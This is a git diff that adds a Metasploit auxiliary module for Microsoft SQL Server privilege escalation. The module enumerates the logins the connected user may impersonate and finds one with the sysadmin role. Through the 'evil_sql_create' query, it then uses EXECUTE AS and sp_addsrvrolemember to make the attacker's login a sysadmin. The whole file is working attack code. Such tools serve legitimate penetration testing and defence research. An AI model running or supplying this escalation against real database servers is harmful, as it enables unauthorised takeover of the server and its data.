diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb new file mode 100644 index 0000000000..7b13036a27 --- /dev/null +++ b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb @@ -0,0 +1,157 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/mssql_commands' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::MSSQL + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft SQL Server - Escalate EXECUTE AS', + 'Description' => %q{ + This module can be used escalate privileges if the IMPERSONATION privilege has been + assigned to the user. In most cases this results in additional data access, but in + some cases it can be used to gain sysadmin privileges. + }, + 'Author' => ['nullbind '], + 'License' => MSF_LICENSE, + 'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']] + )) + end + + def run + # Check connection and issue initial query + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") + if mssql_login_datastore + print_good('Connected.') + else + print_error('Login was unsuccessful. Check your credentials.') + disconnect + return + end + + # Query for sysadmin status + print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...") + user_status = check_sysadmin + + # Check if user has sysadmin role + if user_status == 1 + print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.") + disconnect + return + else + print_status("You're NOT a sysadmin, let's try to change that.") + end + + # Get a list of the users that can be impersonated + print_status("Enumerating a list of users that can be impersonated...") + imp_user_list = check_imp_users + if imp_user_list.nil? || imp_user_list.length == 0 + print_error('Sorry, the current user doesn\'t have permissions to impersonate anyone.') + disconnect + return + else + # Display list of users that can be impersonated + print_good("#{imp_user_list.length} users can be impersonated:") + imp_user_list.each do |db| + print_status(" - #{db[0]}") + end + end + + # Check if any of the users that can be impersonated are sysadmins + print_status('Checking if any of them are sysadmins...') + imp_user_sysadmin = check_imp_sysadmin(imp_user_list) + if imp_user_sysadmin.nil? + print_error('Sorry, none of the users that can be impersonated are sysadmins.') + disconnect + return + end + + # Attempt to escalate to sysadmin + print_status("Attempting to impersonate #{imp_user_sysadmin[0]}...") + escalate_status = escalate_privs(imp_user_sysadmin[0]) + if escalate_status + # Check if escalation was successful + user_status = check_sysadmin + if user_status == 1 + print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.") + else + print_error('Fail buckets, something went wrong.') + end + else + print_error('Error while trying to escalate privileges.') + end + + disconnect + return + end + + # Checks if user is a sysadmin + def check_sysadmin + # Setup query to check for sysadmin + sql = "select is_srvrolemember('sysadmin') as IsSysAdmin" + + # Run query + result = mssql_query(sql) + + # Parse query results + parse_results = result[:rows] + status = parse_results[0][0] + + # Return status + return status + end + + # Gets trusted databases owned by sysadmins + def check_imp_users + # Setup query + sql = "SELECT DISTINCT b.name + FROM sys.server_permissions a + INNER JOIN sys.server_principals b + ON a.grantor_principal_id = b.principal_id + WHERE a.permission_name = 'IMPERSONATE'" + + result = mssql_query(sql) + + # Return on success + return result[:rows] + end + + # Checks if user has the db_owner role + def check_imp_sysadmin(trust_db_list) + # Check if the user has the db_owner role is any databases + trust_db_list.each do |imp_user| + # Setup query + sql = "select IS_SRVROLEMEMBER('sysadmin','#{imp_user[0]}') as status" + + # Run query + result = mssql_query(sql) + + # Parse query results + parse_results = result[:rows] + status = parse_results[0][0] + if status == 1 + print_good(" - #{imp_user[0]} is a sysadmin!") + return imp_user + else + print_status(" - #{imp_user[0]} is NOT sysadmin!") + end + end + nil + end + + def escalate_privs(imp_user_sysadmin) + # Impersonate the first sysadmin user on the list + evil_sql_create = "EXECUTE AS Login = '#{imp_user_sysadmin}'; + EXEC sp_addsrvrolemember '#{datastore['USERNAME']}','sysadmin';" + + mssql_query(evil_sql_create) + + true + end +end